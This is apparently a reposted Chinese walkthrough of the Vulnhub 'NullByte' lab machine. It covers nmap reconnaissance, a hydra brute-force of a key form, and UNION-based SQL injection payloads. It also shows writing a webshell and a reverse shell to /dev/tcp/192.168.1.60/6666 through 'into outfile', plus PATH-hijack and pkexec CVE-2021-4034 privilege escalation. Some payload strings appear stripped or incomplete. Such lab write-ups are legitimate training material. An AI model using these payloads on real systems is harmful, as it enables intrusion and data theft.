NullByte

信息收集

# nmap -sn 192.168.1.0/24 -oN live.nmap                 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:23 CST
Nmap scan report for 192.168.1.1
Host is up (0.00038s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.1.2
Host is up (0.00034s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.1.142
Host is up (0.00057s latency).
MAC Address: 00:0C:29:81:E7:1A (VMware)
Nmap scan report for 192.168.1.254
Host is up (0.00051s latency).
MAC Address: 00:50:56:E1:47:D8 (VMware)
Nmap scan report for 192.168.1.60
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.01 seconds

探测出存活主机IP地址为192.168.1.142;

# nmap -sT --min-rate 10000 -p- 192.168.1.142 -oN port.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:52 CST
Nmap scan report for 192.168.1.142
Host is up (0.0019s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
777/tcp   open  multiling-http
54109/tcp open  unknown
MAC Address: 00:0C:29:81:E7:1A (VMware)

开放的相关端口信息为80 111 777 54109端口;

# nmap -sT -sC -sV -O -p80,111,777,54109 192.168.1.142 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:54 CST
Nmap scan report for 192.168.1.142
Host is up (0.00071s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33610/udp6  status
|   100024  1          41709/tcp6  status
|   100024  1          43454/udp   status
|_  100024  1          54109/tcp   status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
|   2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
|   256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_  256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
54109/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:81:E7:1A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

详细信息的服务探测:80端口上市http服务,111是rpc,同时可以看到ssh不再是默认端口22 而是修改为了777端口

# nmap -sT --script=vuln -p80,111,777,54109 192.168.1.142 -oN vuln.nmap 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-29 09:54 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.142
Host is up (0.00047s latency).

PORT      STATE SERVICE
80/tcp    open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|_  /uploads/: Potentially interesting folder
111/tcp   open  rpcbind
777/tcp   open  multiling-http
54109/tcp open  unknown
MAC Address: 00:0C:29:81:E7:1A (VMware)

漏洞脚本的探测结果为:80端口上存在两个目录是比较感兴趣的,其他也没什么详细的信息;存在phpmyadmin!剩下的三个端口上没有有价值的信息!

渗透测试

还是以80端口为突破点,进行尝试:

NullByte_第1张图片

“如果你能找到和谐的法律,你就会找到知识,找到突破点?” get不到点子去;虽然信息收集拿到了相关的两个目录,但是这里还是进行了一下必要的目录扫描:

NullByte_第2张图片

扫面的结果和信息收集拿到的相关数据,其实是差不多的!

NullByte_第3张图片

首先是uploads目录,是不允许看的~ 看看phpmyadmin吧:

NullByte_第4张图片

就正常的登录页面,尝试弱口令等信息!但是无法登陆进去~

NullByte_第5张图片

还有一个页面,这里应该就是让我们知道了phpmyadmin的版本信息!尝试利用searchsploit进行搜索相关的漏洞,也没有具体的发现;回到了首页,由于首页存在那句提示,感觉还是突破点在此~

下载下来gif,查看是否图片中存在相关的隐写:

NullByte_第6张图片

后面又利用了图片中的相关字符,作为了密码,进行了爆破;还是没什么突破;后面查询了index页面里面的那段话,发现是古埃及的谚语:

NullByte_第7张图片

还是没有找到突破点,利用exitinfo查看图片的元信息:

NullByte_第8张图片

comment中这个是密码嘛?还是路径呢?

NullByte_第9张图片

发现这是一个路径,让填写key~ 尝试随便填写,但是回显给我们invaild key;查看源码发现提示:

NullByte_第10张图片

这个表单不是用来连接mysql的,密码也没有那么复杂~ 尝试进行爆破了:

#利用hydra进行爆破:
hydra -l "" -P /usr/share/wordlists/rockyou.txt -s 80 -f 192.168.1.142 http-post-form "/kzMb5nVYJw/index.php:username=^USER^&key=^PASS^:invalid key"

拿到key,时间稍微的有点点长:

NullByte_第11张图片

输入key之后,发现又让输入username:

NullByte_第12张图片

这里我发现输入什么都回显fetched data success!

NullByte_第13张图片

url地址是有变化的,同时去看一下bp;在bp里面尝试利用:发现存在sql注入,当输入双引号的时候,出现了sql语句的报错:

NullByte_第14张图片

seth数据库中存在两个用户!查看phpmyadmin的用户,尝试利用phpmyadmin进行getshell!但是在phpmyadmin数据库中没有什么用户的信息~ 还是回到了上面的这两个用户,尝试进行ssh的碰撞,首先是ramses这个用户的密码看起来很像是base64!

NullByte_第15张图片

经过base64解码之后发现貌似是md5加密的字符串,在尝试进行md5!

NullByte_第16张图片

果然是这样的,尝试ssh登录成功!

NullByte_第17张图片

提权

发现三个用户!

NullByte_第18张图片

没有定时任务,同时也没有sudo的权限;

NullByte_第19张图片

suid文件,发现了pkexec,因为遇到了很多次,就连他的漏洞编号也记住了CVE-2021-4034这个漏洞能通杀很多内核版本比较就的靶机!

NullByte_第20张图片

又尝试成功了,pkexec的这个漏洞真是屡试不爽!

NullByte_第21张图片

总结

这里打完之后去看了一下红笔师傅的讲解,存在四种方法!其中一种方式就是我使用的sqlmap,说一下剩下的三种方法,同时也都去尝试一下!

手动利用sql注入

接上面探测username的界面,我们知道了存在sql注入;手动利用sql注入:

然后我们尝试获取列数等信息:

1. 第一种就是利用order by命令
2. 第二种是利用union select 语句

NullByte_第22张图片

NullByte_第23张图片

之后拿到了列数信息之后,就可以开始收集用户 数据库 数据库版本信息等等信息:

" union select user(),database(),@@version;-- 

NullByte_第24张图片

之后通过table_schema来查询相关的数据库:

NullByte_第25张图片

" union select 1,2,table_schema from information_schema.tables;-- 

之后便可以指定数据库名来查询里面的具体信息:

" union select 1,2,column_name from information_schema.columns where table_schema='seth' and table_name='users';-- 

NullByte_第26张图片

" union select 1,2,column_name from information_schema.columns where table_schema='seth' and table_name='users';-- 

NullByte_第27张图片

#之后便是查询数据信息:
" union select id,user,pass from users;-- 

NullByte_第28张图片

写一句话木马

由于之前已经看到了uploads目录下面,这个目录一般都是存在上传的功能的,能上传文件到这里,权限也是比较大的,因此我们可以尝试利用select sth into outfile 语句写马到这里!

" union select "","","" into outfile "/var/www/html/uploads/shell.php";-- 

NullByte_第29张图片

然后利用curl正常的访问http://192.168.1.142/uploads/shell.php文件,再加上参数!

NullByte_第30张图片

然后正常的读取我们已知的文件,比如420search.php文件!

NullByte_第31张图片

拿到了数据库的账号和密码信息,然后登录phpmyadmin! 在数据库中又会看到了users表中的内容!

写反弹shell文件

还有一种方式就是不再写一句话了,而是直接写反弹shell!

" union select "","","& /dev/tcp/192.168.1.60/6666 0>&1'\");?>" into outfile "/var/www/html/uploads/shel1.php";-- 

NullByte_第32张图片

这种方式获得的初始shell的权限会比较的低,但是我们还是可以看网站的相关源码,拿到数据库的账号和密码信息,本地再登录到数据库中,拿到user表里面的信息;初步的提升权限!

软链接提权

软链接是Linux中的一个重要命令;功能就是为某一个文件在另外一个位置简历一个不同的链接;参数-s代表当我们需要在不同的目录,用到相同的文件的时候,我们不需要在每一个需要的目录下都放置一个我们想要用的文件,我们只需要在某一个固定的目录,放上该文件,然后在其他的目录下面利用软链接(link)进行链接!

#具体的用法是 ln -s 源文件 目标文件

当我们利用ssh连接上之后,发现:

NullByte_第33张图片

bash_history文件,进行查看:

NullByte_第34张图片

发现执行了一个文件,同时查找suid文件的时候,也是可以看到这个文件,该文件在backup目录下面,backup本身就是我们着重看的目录!

find / -perm -u=s -type f 2>/dev/null

NullByte_第35张图片

尝试去运行一下这个文件看看是干什么用!

NullByte_第36张图片

好像是用来修复一些东西的~ 尝试进行运行:

NullByte_第37张图片

发现了运行了两个命令,一个是sh 另一个是ps命令,所以我们可以尝试去利用软链接进行提权:

ln -s /bin/sh ps
export PATH=.:$PATH
./procwatch

你可能感兴趣的:(Vulnhub,网络安全,学习,安全威胁分析,web安全,安全)